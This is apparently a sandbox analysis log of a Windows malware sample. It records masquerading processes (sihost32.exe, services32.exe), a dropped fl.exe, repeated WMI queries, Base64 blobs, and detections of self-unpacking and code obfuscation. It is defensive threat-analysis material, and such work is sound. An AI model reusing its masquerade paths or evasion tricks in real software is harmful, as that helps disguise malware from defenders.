Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name=&apos;explorer.exe&apos;
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File created: C:\Users\user\AppData\Local\Temp\fl.exe Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D57898 GetDiskFreeSpaceA, 0_2_00D57898
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\services32.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\services32.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: sihost32.exe.19.dr, RProgram.cs Base64 encoded string: 'iDsqXVUUrrozp0AbL5BTYPR0iDjq4KiGuHePXVFV9K28rswXmN2nC/etL9RtgP7f10Sam46UV/ANfEGz0DEX3Q==', 'O6wcZ1WK2FacMltLzc/OJmWkxClrD4jYMZIIjUaEV6j1bkkpDgDOof2hV459e7QI6DlvreVmdACxGZ1KA3l6T+k6y3MD7GM8B2ap2UMiePPSG0R9WMQ3D1cNzFatl9NODyrYc3At05u5rX93CYYN5cbA/odPkzi1LCKpexxFAZiGpB4ninzv7IYKdGvPpv220+VWKUt8D4PmwE6EH9SjuBz5y0H5d/2DAfnlhHf0skNO5gKiUd5ilpMD0Pv2RuNY9RTqbdKArk9xodHYZYF6PNM5bUqRAsG5TA1az/iVMXWdoXUSn90IngzFMSWEwXNn4/aFyZyTxVQJgJ5LA2ONnNAPPh/yCx+xTtlT3zTt7Ho='
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4804:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6664:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5696:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6856:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4788:120:WilError_01
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: YfTokH7RIj.exe Static file information: File size 1666048 > 1048576
Source: YfTokH7RIj.exe Static PE information: Raw size of is bigger than: 0x100000 < 0x13fc00
Source: Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: YfTokH7RIj.exe, 00000000.00000003.646920762.00000000035E0000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.716588388.0000000000428000.00000040.00020000.sdmp

Data Obfuscation:

barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Unpacked PE file: 0.2.YfTokH7RIj.exe.400000.0.unpack
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Unpacked PE file: 0.2.YfTokH7RIj.exe.400000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:EW;Unknown_Section6:EW;.R03nlBA:EW;.adata:EW; vs Unknown_Section0:ER;Unknown_Section1:EW;Unknown_Section2:EW;
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D5C310 push 00D5C37Fh; ret 0_2_00D5C377
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D6E0C8 push 00D6E0F4h; ret 0_2_00D6E0EC
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D800A8 push 00D800E0h; ret 0_2_00D800D8
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D7E0A0 push 00D7E0CCh; ret 0_2_00D7E0C4
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D66028 push 00D66054h; ret 0_2_00D6604C
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D5C1D0 push 00D5C30Dh; ret 0_2_00D5C305
